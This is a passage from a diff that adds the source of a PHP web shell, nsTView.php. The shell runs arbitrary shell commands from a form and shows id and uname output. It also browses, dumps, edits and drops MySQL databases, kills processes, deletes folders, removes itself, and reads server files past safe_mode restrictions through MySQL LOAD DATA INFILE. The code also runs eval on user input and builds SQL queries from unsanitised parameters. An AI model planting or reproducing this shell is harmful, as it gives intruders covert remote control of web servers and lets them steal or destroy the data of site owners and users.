+document.sh311Form.sh3.focus(); +} + + +</script> +"; +print "<body vlink=#0006DE> +<table width=600 border=0 cellpadding=0 cellspacing=1 bgcolor=#D7FFA8 align=center> +<tr><td><font face=wingdings size=2>0</font>"; +$expl=explode("/",$d); +$coun=count($expl); +if($os=="unix"){echo "<a href='$php_self?d=/'>/</a>";} +else{ + echo "<a href='$php_self?d=$expl[0]'>$expl[0]/</a>";} +for($i=1; $i<$coun; $i++){ + @$xx.=$expl[$i]."/"; +$sls="<a href='$php_self?d=$expl[0]/$xx'>$expl[$i]</a>/"; +$sls=str_replace("//","/",$sls); +$sls=str_replace("/'></a>/","/'></a>",$sls); +print $sls; +} +if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";} +if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";} +echo "</td></tr>"; +if($os=="unix"){ echo " +<tr><td><b>id:</b> ".@exec('id')."</td></tr> +<tr><td><b>uname -a:</b> ".@exec('uname -a')."</td></tr>";} echo" +<tr><td><b>Your IP: [<font color=#5F3CC1>$ip</font>] Server IP: [<font color=#5F3CC1>".gethostbyname($_SERVER["HTTP_HOST"])."</font>] Server <a href=# title='Host.Domain'>H.D.</a>: [<font color=#5F3CC1>".$_SERVER["HTTP_HOST"]."</font>]</b><br> +[<b>Safe mode:</b> $safe_m] [<b>Register globals:</b> $reg_g]<br> +[<a href=# onClick=location.href=\"javascript:history.back(-1)\">Back</a>] +[<a href='$php_self'>Home</a>] +[<a href='$php_self?d=$d&sh311=1'>Shell (1)</a> <a href='$php_self?d=$d&sh311=2'>(2)</a>] +[<a href='$php_self?d=$d&t=upload'>Upload</a>] +[<a href='$php_self?t=tools'>Tools</a>] +[<a href='$php_self?p=info'>PHPinfo</a>] +[<a href='$php_self?delfolder=$d&d=$d&delfl=1&rback=$d' title='$d'>DEL Folder</a>] +[<a href='$php_self?p=sql'>SQL</a>] +[<a href='$php_self?p=selfremover'>Self Remover</a>] +</td></tr> +"; +if($os=="win"){ echo " +<tr><td bgcolor=white> +<center><font face=wingdings size=2><</font> +<a href='$php_self?d=a:/'>A</a> +<a href='$php_self?d=b:/'>B</a> +<a href='$php_self?d=c:/'>C</a> +<a href='$php_self?d=d:/'>D</a> +<a href='$php_self?d=e:/'>E</a> +<a href='$php_self?d=f:/'>F</a> +<a href='$php_self?d=g:/'>G</a> +<a href='$php_self?d=h:/'>H</a> +<a href='$php_self?d=i:/'>I</a> +<a href='$php_self?d=j:/'>J</a> +<a href='$php_self?d=k:/'>K</a> +<a href='$php_self?d=l:/'>L</a> +<a href='$php_self?d=m:/'>M</a> +<a href='$php_self?d=n:/'>N</a> +<a href='$php_self?d=o:/'>O</a> +<a href='$php_self?d=p:/'>P</a> +<a href='$php_self?d=q:/'>Q</a> +<a href='$php_self?d=r:/'>R</a> +<a href='$php_self?d=s:/'>S</a> +<a href='$php_self?d=t:/'>T</a> +<a href='$php_self?d=u:/'>U</a> +<a href='$php_self?d=v:/'>V</a> +<a href='$php_self?d=w:/'>W</a> +<a href='$php_self?d=x:/'>X</a> +<a href='$php_self?d=y:/'>Y</a> +<a href='$php_self?d=z:/'>Z</a> +</td></tr>";}else{echo "<tr><td>&nbsp;</td></tr>";} +print "<tr><td> +:: <a href='$php_self?d=$d&mkdir=1'>Create folder</a> :: +<a href='$php_self?d=$d&mkfile=1'>Create file</a> :: +<a href='$php_self?d=$d&read_file_safe_mode=1'>Read file if safe mode is On</a> ::"; +if($os=="unix"){ +print "<a href='$php_self?d=$d&ps_table=1'>PS table</a> ::"; +} +print "</td></tr>"; + + + + + +if($_GET['p']=="ftp"){ +print "<tr><td>"; + + + +print "</td></tr></table>"; +print $copyr; +exit; +} + + + + + + + + + + +if(@$_GET['p']=="sql"){ +print "<tr><td>"; +### + +$f_d = $_GET['f_d']; +if(!isset($f_d)){$f_d=".";} +if($f_d==""){$f_d=".";} + +$php_self=$_SERVER['PHP_SELF']; +$delete_table=$_GET['delete_table']; +$tbl=$_GET['tbl']; +$from=$_GET['from']; +$to=$_GET['to']; +$adress=$_POST['adress']; +$port=$_POST['port']; +$login=$_POST['login']; +$pass=$_POST['pass']; +$adress=$_GET['adress']; +$port=$_GET['port']; +$login=$_GET['login']; +$pass=$_GET['pass']; +$conn=$_GET['conn']; +if(!isset($adress)){$adress="localhost";} +if(!isset($login)){$login="root";} +if(!isset($pass)){$pass="";} +if(!isset($port)){$port="3306";} +if(!isset($from)){$from=0;} +if(!isset($to)){$to=50;} + + +?> +<style> +table,td{ +color: black; +font-face: verdana; +font-size: 11px; + +} +</style> +<font color=black face=verdana size=1> +<? if(!$conn){ ?> + +<!-- table 1 --> +<table bgcolor=#D7FFA8> +<tr><td valign=top>Address:</td><td><form><input name=adress value='<?=$adress?>' size=20><input name=port value='<?=$port?>' size=6></td></tr> +<tr><Td valign=top>Login: </td><td><input name=login value='<?=$login?>' size=10></td></tr> +<tr><Td valign=top>Pass:</td><td> <input name=pass value='<?=$pass?>' size=10><input type=hidden name=p value=sql></td></tr> +<tr><td></td><td><input type=submit name=conn value=Connect></form></td></tr><?}?> +<tr><td valign=top><? if($conn){ echo "<b>PHP v".@phpversion()."<br>mySQL v".@mysql_get_server_info()."<br>";}?></b></td><td></td></tr> +</table> +<!-- end of table 1 --> + + +<? +$conn=$_GET['conn']; +$adress=$_GET['adress']; +$port=$_GET['port']; +$login=$_GET['login']; +$pass=$_GET['pass']; +if($conn){ + +$serv = @mysql_connect($adress.":".$port, $login,$pass) or die("<font color=red>Error: ".mysql_error()."</font>"); +if($serv){$status="Connected. :: <a href='$php_self?p=sql'>Log out</a>";}else{$status="Disconnected.";} +print "<b><font color=green>Status: $status<br><br>"; # #D7FFA8 +print "<table cellpadding=0 cellspacing=0 bgcolor=#D7FFA8><tr><td valign=top>"; +print "<br><font color=red>[db]</font><Br>"; +print "<font color=white>"; +$res = mysql_list_dbs($serv); +while ($str=mysql_fetch_row($res)){ +print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&delete_db=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")'>[DEL]<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$str[0]&dump_db=$str[0]&f_d=$d'>[DUMP]</a></a> <b><a href='$php_self?baza=1&db=$str[0]&p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a></b><br>"; +$tc++; +} +$baza=$_GET['baza']; +$db=$_GET['db']; +print "<font color=red>[Total db: $tc]</font><br>"; +if($baza){ +print "<div align=left><font color=green>db: [$db]</div></font><br>"; +$result=@mysql_list_tables($db); +while($str=@mysql_fetch_array($result)){ +$c=mysql_query ("SELECT COUNT(*) FROM $str[0]"); +$records=mysql_fetch_array($c); + +if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);} +if($records[0]=="0"){ +print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]&ins_new_line=1'>$str[0]</a><br>"; +}else{ +print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a><br>"; +} +mysql_free_result($c); +$total_t++; +} +print "<br><B><font color=red>Total tables: $total_t</font></b>"; + print "<pre>"; +for($i=0; $i<$s4ot+10; $i++){print "&nbsp;";} + print "</pre>"; +} #end baza + + + + +# delete table +if(isset($delete_table)){ +mysql_select_db($_GET['db']) or die("<font color=red>".mysql_error()."</font>"); +mysql_query("DROP TABLE IF EXISTS $delete_table") or die("<font color=red>".mysql_error()."</font>"); +print "<br><b><font color=green>Table [ $delete_table ] :: Deleted success!</font></b>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1\">"; +} +# end of delete table + +# delete database +if(isset($_GET['delete_db'])){ +mysql_drop_db($_GET['delete_db']) or die("<font color=red>".mysql_error()."</font>"); +print "<br><b><font color=green>Database ".$_GET['delete_db']." :: Deleted Success!"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1\">"; +} +# end of delete database + +# delete row +if(isset($_POST['delete_row'])){ +$_POST['delete_row'] = base64_decode($_POST['delete_row']); +mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("<font color=red>".mysql_error()."</font>"); +$del_result = "<br><b><font color=green>Deleted Success!<br>".$_POST['delete_row']; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +} +# end of delete row + + +$vn=$_GET['vn']; +print "</td><td valign=top>"; +print "<font color=green>Database: $db => $vn</font>"; + +# edit row +if(isset($_POST['edit_row'])){ +$edit_row=base64_decode($_POST['edit_row']); + +$r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("<font color=red>".mysql_error()."</font>"); +print "<br><br> + <table border=0 cellpadding=1 cellspacing=1><tr> + <td><b>Row</b></td><td><b>Value</b></td></tr>"; +print "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."'>"; +print "<input type=hidden name=edit_row value='".$_POST['edit_row']."'>"; +print " <input type=radio name=upd value=update checked>Update<br> + <input type=radio name=upd value=insert>Insert new<br><br>"; + + +$i=0; +while($mn = mysql_fetch_array($r_edit, MYSQL_ASSOC)){ +foreach($mn as $key =>$val){ +$type = mysql_field_type($r_edit, $i); +$len = mysql_field_len($r_edit, $i); +$del .= "`$key`='".adds($val)."' AND "; +$c=strlen($val); +$val=htmlspecialchars($val, ENT_NOQUOTES); +$str=" <textarea name='$key' cols=39 rows=5>$val</textarea> "; +$buff .= "<tr><td bgcolor=silver><b>$key</b><br><font color=green>(<b>$type($len)</b>)</font></td><td>$str</td></tr>"; +$i++; +} + +} +$delstring=base64_encode($del); +print "<input type=hidden name=delstring value=\"$delstring\">"; +print "$buff</table><br>"; +print "<br>"; +if(!$_POST['makeupdate']){print "<input type=submit value=Update name=makeupdate></form>";} + + + + +if($_POST['makeupdate']){ +if($_POST['upd']=='update'){ +preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3); +$delstring=$_POST['delstring']; +$delstring=base64_decode($delstring); +$delstring = substr($delstring, 0, strlen($delstring)-5); + +for($i=0; $i<count($matches3[0]); $i++){ +eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";"); +$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',"; +} +$total_str = substr_replace($total_str,"",-1); +$up_string = "UPDATE `$tbl` SET $total_str WHERE $delstring"; +$up_string = htmlspecialchars($up_string, ENT_NOQUOTES); +print "<b>PHP var:<br></b>\$sql=\"$up_string\";<br><br>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +mysql_query($up_string) or die("<font color=red>".mysql_error()."</font>"); +}#end of make update + + + +if($_POST['upd']=='insert'){ +preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3); +$delstring=$_POST['delstring']; +$delstring=base64_decode($delstring); +$delstring = substr($delstring, 0, strlen($delstring)-5); + +for($i=0; $i<count($matches3[0]); $i++){ +eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";"); +$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,"; +} + +$total_str = ",,".$total_str; + +preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4); + +for($i=0; $i<count($matches4[1]); $i++){ + $matches4[1][0]=str_replace(",","",$matches4[1][0]); + $total_m_i .= "`".$matches4[1][$i]."`,"; + $total_m_x .= "'".$matches4[2][$i]."',"; +} +$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1); +$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1); + +$make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)"; +mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>"); +print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +}#end of insert +}#end of update +} +# end of edit row + + +# insert new line +if($_GET['ins_new_line']){ +$qn = mysql_query('SHOW FIELDS FROM '.$tbl) or die("<font color=red>".mysql_error()."</font>"); +print "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."&ins_new_line=1'> +Insert new line in <b>$tbl</b> table</b><Br><br>"; +print "<table>"; +while ($new_line = mysql_fetch_array($qn, MYSQL_ASSOC)) { +foreach ($new_line as $key =>$next) { +$buff .= "$next "; +} +$expl=explode(" ",$buff); +$buff2 .= $expl[0]." "; +print "<tr><td bgcolor=silver><b>$expl[0]</b><br><font color=green>(<b>$expl[1]</b>)</font></td> +<td><textarea name='$expl[0]' cols=39 rows=5></textarea> +</td></tr>"; +unset($buff); +} +print "</table> +<center><input type=submit value=Insert name=mk_ins></form></center>"; +if($_POST['mk_ins']){ +preg_match_all("/(.*?)\s/i",$buff2,$matches3); +for($i=0; $i<count($matches3[0]); $i++){ +eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";"); +$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,"; +} + +$total_str = ",,".$total_str; +preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4); + +for($i=0; $i<count($matches4[1]); $i++){ + $matches4[1][0]=str_replace(",","",$matches4[1][0]); + $total_m_i .= "`".$matches4[1][$i]."`,"; + $total_m_x .= "'".$matches4[2][$i]."',"; +} +$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1); +$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1); + +$make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)"; +mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>"); +print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +}#end of mk ins +}#end of ins new line + + + + + + +if(isset($_GET['rename_table'])){ +$rename_table=$_GET['rename_table']; +print "<br><br>Rename <b>$rename_table</b> to<br><br> +<form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$rename_table'> +<input name=new_name size=30><center><br> +<input type=submit value=Rename></center> +</form> +"; + +if(isset($_POST['new_name'])){ +mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>"); +mysql_query("RENAME TABLE $rename_table TO ".$_POST['new_name']) or die("<font color=red>".mysql_error()."</font>"); +print "<br><font color=green>Table <b>$rename_table</b> renamed to <b>".$_POST['new_name']."</b></font>"; +print "<meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&db=$db\">"; +} + +}#end of rename + + +# dump table +if($_GET['dump']){ +if(!is_writable($f_d)){die("<br><br><font color=red>This folder $f_d isnt writable!<br>Cannot make dump.<br><br> +<font color=green><b>You can change temp folder for dump file in your browser!<br> +<font color=red>Change variable &f_d=(here writable directory, expl: /tmp or c:/windows/temp)</font><br> +Then press enter</b></font> +</font>");} +mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>"); +$fp = fopen($f_d."/".$f,"w"); +fwrite($fp, "# nsTView.php v$ver +# Web: http://nst.void.ru +# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].") +# MySQL version: ".mysql_get_server_info()." +# PHP version: ".phpversion()." +# Date: ".date("d.m.Y - H:i:s")." +# Dump db ( $db ) Table ( $tbl ) +# --- eof --- + +"); +$que = mysql_query("SHOW CREATE TABLE `$tbl`") or die("<font color=red>".mysql_error()."</font>"); +$row = mysql_fetch_row($que); +fwrite($fp, "DROP TABLE IF EXISTS `$tbl`;\r\n"); +$row[1]=str_replace("\n","\r\n",$row[1]); +fwrite($fp, $row[1].";\r\n\r\n"); +$que = mysql_query("SELECT * FROM `$tbl`"); +if(mysql_num_rows($que)>0){ +while($row = mysql_fetch_assoc($que)){ +$keys = join("`, `", array_keys($row)); +$values = array_values($row); +foreach($values as $k=>$v) {$values[$k] = adds2($v);} +$values = implode("', '", $values); +$sql = "INSERT INTO `$tbl`(`$keys`) VALUES ('".$values."');\r\n"; +fwrite($fp, $sql); +} +} +fclose($fp); +print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">"; +}#end of dump + + + + +# db dump +if($_GET['dump_db']){ +$c=mysql_num_rows(mysql_list_tables($db)); +if($c>=1){ +print "<br><br>&nbsp;&nbsp;&nbsp;Dump database <b>$db</b>"; +}else{ +print "<br><br><font color=red>Cannot dump database. No tables exists in <b>$db</b> db.</font>"; +die; +} +if(sizeof($tabs)==0){ +$res = mysql_query("SHOW TABLES FROM $db"); +if(mysql_num_rows($res)>0){ +while($row=mysql_fetch_row($res)){ +$tabs[] .= $row[0]; +} +} +} +$fp = fopen($f_d."/".$f,"w"); +fwrite($fp, "# nsTView.php v$ver +# Web: http://nst.void.ru +# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].") +# MySQL version: ".mysql_get_server_info()." +# PHP version: ".phpversion()." +# Date: ".date("d.m.Y - H:i:s")." +# Dump db ( $db ) +# --- eof --- + +"); +foreach($tabs as $tab) { +fwrite($fp,"DROP TABLE IF EXISTS `$tab`;\r\n"); +$res = mysql_query("SHOW CREATE TABLE `$tab`"); +$row = mysql_fetch_row($res); +$row[1]=str_replace("\n","\r\n",$row[1]); +fwrite($fp, $row[1].";\r\n\r\n"); +$res = mysql_query("SELECT * FROM `$tab`"); +if(mysql_num_rows($res)>0){ +while($row=mysql_fetch_assoc($res)){ +$keys = join("`, `", array_keys($row)); +$values = array_values($row); +foreach($values as $k=>$v) {$values[$k] = adds2($v);} +$values = join("', '", $values); +$sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n"; +fwrite($fp, $sql); +}} +fwrite($fp, "\r\n\r\n\r\n"); +} +fclose($fp); +print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">"; +}#end of db dump + + + + + + +$vnutr=$_GET['vnutr']; +$tbl=$_GET['tbl']; +if($vnutr and !$_GET['ins_new_line']){ +print "<table cellpadding=0 cellspacing=1><tr><td>"; + +mysql_select_db($db) or die(mysql_error()); +$c=mysql_query ("SELECT COUNT(*) FROM $tbl"); +$cfa=mysql_fetch_array($c); +mysql_free_result($c); +print " +Total: $cfa[0] +<form> +From: <input name=from size=3 value=0> +To: <input name=to size=3 value='$cfa[0]'> +<input type=submit name=show value=Show> +<input type=hidden name=vnutr value=1> +<input type=hidden name=vn value='$vn'> +<input type=hidden name=db value='$db'> +<input type=hidden name=login value='$login'> +<input type=hidden name=pass value='$pass'> +<input type=hidden name=adress value='$adress'> +<input type=hidden name=conn value=1> +<input type=hidden name=baza value=1> +<input type=hidden name=p value=sql> +<input type=hidden name=tbl value='$tbl'> + [<a href='$php_self?getdb=1&to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl'>DOWNLOAD</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&ins_new_line=1'>INSERT</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&dump=1&f_d=$d'>DUMP</a>] +</form></td></tr></table>"; +$vn=$_GET['vn']; +$from=$_GET['from']; +$to=$_GET['to']; +$from=$_GET['from']; +$to=$_GET['to']; +if(!isset($from)){$from=0;} +if(!isset($to)){$to=50;} +$query = "SELECT * FROM $vn LIMIT $from,$to"; +$result = mysql_query($query); +$result1= mysql_query($query); +print $del_result; +print "<table cellpadding=0 cellspacing=1 border=1><tr><td></td>"; +for ($i=0;$i<mysql_num_fields($result);$i++){ +$name=mysql_field_name($result,$i); +$type = mysql_field_type($result, $i); +$len = mysql_field_len($result, $i); +print "<td bgcolor=#BCE0FF> $name (<b>$type($len)</b>)</td>"; +} +print "</tr><pre>"; + +while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){ +foreach($mn as $key=>$inside){ +$buffer1 .= "`$key`='".adds($inside)."' AND "; +$b1 .= "<td>".htmlspecialchars($inside, ENT_NOQUOTES)."&nbsp;</td>"; +} +$buffer1 = substr($buffer1, 0, strlen($buffer1)-5); +$buffer1 = base64_encode($buffer1); +print "<td> +<form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&vnutr=1&baza=1&vn=$vn&db=$db'> +<input type=hidden name=delete_row value='$buffer1'> +<input type=submit value=Del onclick='return confirm(\"DELETE ?\")' style='border:1px; background-color:white;'> +</form><form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&baza=1&vn=$vn&db=$db'> +<input type=hidden name=edit_row value='$buffer1'> +<input type=submit value=Edit style='border:1px;background-color:green;'> +</form> +</td>\r\n"; +print $b1; +print "</tr>"; +unset($b1); +unset($buffer1); +} + + + +mysql_free_result($result); +print "</table>"; +} #end vnutr +print "</td></tr></table>"; +} # end $conn + + +### end of sql +print "</tr></td></table> </td></tr></table>"; +print $copyr; +die; +} + + +@$p=$_GET['p']; +if(@$_GET['p']=="selfremover"){ + print "<tr><td>"; +print "<font color=red face=verdana size=1>Are you sure?<br> +<a href='$php_self?p=yes'>Yes</a> | <a href='$php_self?'>No</a><br> +Remove: <u>"; +$path=__FILE__; +print $path; +print " </u>?</td></tr></table>"; +die; +} + +if($p=="yes"){ +$path=__FILE__; +@unlink($path); +$path=str_replace("\\","/",$path); +if(file_exists($path)){$hmm="NOT DELETED!!!"; +print "<tr><td><font color=red>FILE $path NOT DELETED</td></tr>"; +}else{$hmm="DELETED";} +print "<script>alert('$path $hmm');</script>"; + +} + + + +if($os=="unix"){ +function fastcmd(){ +global $fast_commands; +$c_f=explode("\n",$fast_commands); +$c_f=count($c_f)-2; +print " +<form method=post> +Total commands: $c_f<br> +<select name=sh3>"; + +$c=substr_count($fast_commands," (nst) "); +for($i=0; $i<=$c; $i++){ + $expl2=explode("\r\n",$fast_commands); + $expl=explode(" (nst) ",$expl2[$i]); + if(trim($expl[1])!=""){ + print "<option value='".trim($expl[1])."'>$expl[0]</option>\r\n"; + } +} + +print "</select><br> +<input type=submit value=Exec> +</form> +"; +} +}#end of os unix + + +if($os=="win"){ +function fastcmd(){ +global $fast_commands_win; +$c_f=explode("\n",$fast_commands_win); +$c_f=count($c_f)-2; +print " +<form method=post> +Total commands: $c_f<br> +<select name=sh3>"; + +$c=substr_count($fast_commands_win," (nst) "); +for($i=0; $i<=$c; $i++){ + $expl2=explode("\r\n",$fast_commands_win); + $expl=explode(" (nst) ",$expl2[$i]); + if(trim($expl[1])!=""){ + print "<option value='".trim($expl[1])."'>$expl[0]</option>\r\n"; + } +} + +print "</select><br> +<input type=submit value=Exec> +</form> +"; +} +}#end of os win + + +echo " +<tr><td>"; +if(@$_GET['sh311']=="1"){echo "<center>cmd<br>pwd: +"; +chdir($d); +echo getcwd()."<br><br> +Fast cmd:<br>"; +fastcmd(); +if($os=="win"){$d=str_replace("/","\\\\",$d);} +print " +<a href=\"javascript:cwd('$d ')\">Insert pwd</a> +<form name=sh311Form method=post><input name=sh3 size=110></form></center><br> +"; +if(@$_POST['sh3']){ +$sh3=$_POST['sh3']; +echo "<pre>"; +print `$sh3`; +echo "</pre>"; +} +} + +if(@$_GET['sh311']=="2"){ +echo "<center>cmd<br> +pwd: +"; +chdir($d); +echo getcwd()."<br><br> +Fast cmd:<br>"; +fastcmd(); +if($os=="win"){$d=str_replace("/","\\\\",$d);} +print " +<a href=\"javascript:cwd('$d ')\">Insert pwd</a> +<form name=sh311Form method=post><input name=sh3 size=110></form></center><br>"; +if(@$_POST['sh3']){ +$sh3=$_POST['sh3']; +echo "<pre>"; print `$sh3`; echo "</pre>";} +echo $copyr; +exit;} + +if(@$_GET['delfl']){ +@$delfolder=$_GET['delfolder']; +echo "DELETE FOLDER: <font color=red>".@$_GET['delfolder']."</font><br> +(All files must be writable)<br> +<a href='$php_self?deldir=1&dir=".@$delfolder."&rback=".@$_GET['rback']."'>Yes</a> || <a href='$php_self?d=$d'>No</a><br><br> +"; +echo $copyr; +exit; +} + + +$mkdir=$_GET['mkdir']; +if($mkdir){ +print "<br><b>Create Folder in $d :</b><br><br> +<form method=post> +New folder name:<br> +<input name=dir_n size=30> +</form><br> +"; +if($_POST['dir_n']){ +mkdir($d."/".$_POST['dir_n']) or die('Cannot create directory '.$_POST['dir_n']); +print "<b><font color=green>Directory created success!</font></b>"; +} +print $copyr; +die; +} + + +$mkfile=$_GET['mkfile']; +if($mkfile){ +print "<br><b>Create file in $d :</b><br><br> +<form method=post> +File name:<br> +(example: hello.txt , hello.php)<br> +<input name=file_n size=30> +</form><br> +"; +if($_POST['file_n']){ +$fp=fopen($d."/".$_POST['file_n'],"w") or die('Cannot create file '.$_POST['file_n']); +fwrite($fp,""); +print "<b><font color=green>File created success!</font></b>"; +} +print $copyr; +die; +} + + +$ps_table=$_GET['ps_table']; +if($ps_table){ + +if($_POST['kill_p']){ +exec("kill -9 ".$_POST['kill_p']); +} + +$str=`ps aux`; + +# You can put here preg_match_all for other distrib/os +preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches); + + +print "<br><b>PS Table :: Fast kill program<br> +(p.s: Tested on Linux slackware 10.0)<br> +<br></b>"; +print "<center><table border=1>"; +for($i=0; $i<count($matches[3]); $i++){ +$expl=explode(" ",$matches[0][$i]); +print "<tr><td>$expl[0]</td><td>PID: ".$matches[1][$i]." :: ".$matches[3][$i]."</td><form method=post><td><font color=red>Kill: <input type=submit name=kill_p value=".trim($matches[1][$i])."></td></form></tr>"; +}#end of for +print "</table></center><br><br>"; +unset($str); +print $copyr; +die; +}#end of ps table + + +$read_file_safe_mode=$_GET['read_file_safe_mode']; +if($read_file_safe_mode){ + +if(!isset($_POST['l'])){$_POST['l']="root";} + +print "<br> +Read file content using MySQL - when <b>safe_mode</b>, <b>open_basedir</b> is <font color=green>ON</font><Br> +<form method=post> +<table> +<tr><td>Addr:</td><Td> <input name=serv_ip value='127.0.0.1'><input name=port value='3306' size=6></td></tr> +<tr><td>Login:</td><td><input name=l value=".$_POST['l']."></td></tr> +<tr><td>Passw:</td><td><input name=p value=".$_POST['p']."></td></tr></table> +(example: /etc/hosts)<br> +<input name=read_file size=45><br> +<input type=submit value='Show content'> +</form> +<br>"; + +if($_POST['read_file']){ +$read_file=$_POST['read_file']; +@mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("<font color=red>".mysql_error()."</font>"); +mysql_create_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); +mysql_select_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); +mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("<font color=red>".mysql_error()."</font>"); +mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file"); +$query = "SELECT * FROM tmp_file"; +$result = mysql_query($query) or die("<font color=red>".mysql_error()."</font>"); +print "<b>File content</b>:<br><br>"; +for($i=0;$i<mysql_num_fields($result);$i++){ +$name=mysql_field_name($result,$i);} +while($line=mysql_fetch_array($result, MYSQL_ASSOC)){ +foreach ($line as $key =>$col_value) { +print htmlspecialchars($col_value)."<br>";}} +mysql_free_result($result); +mysql_drop_db("tmp_bd_file") or die("<font 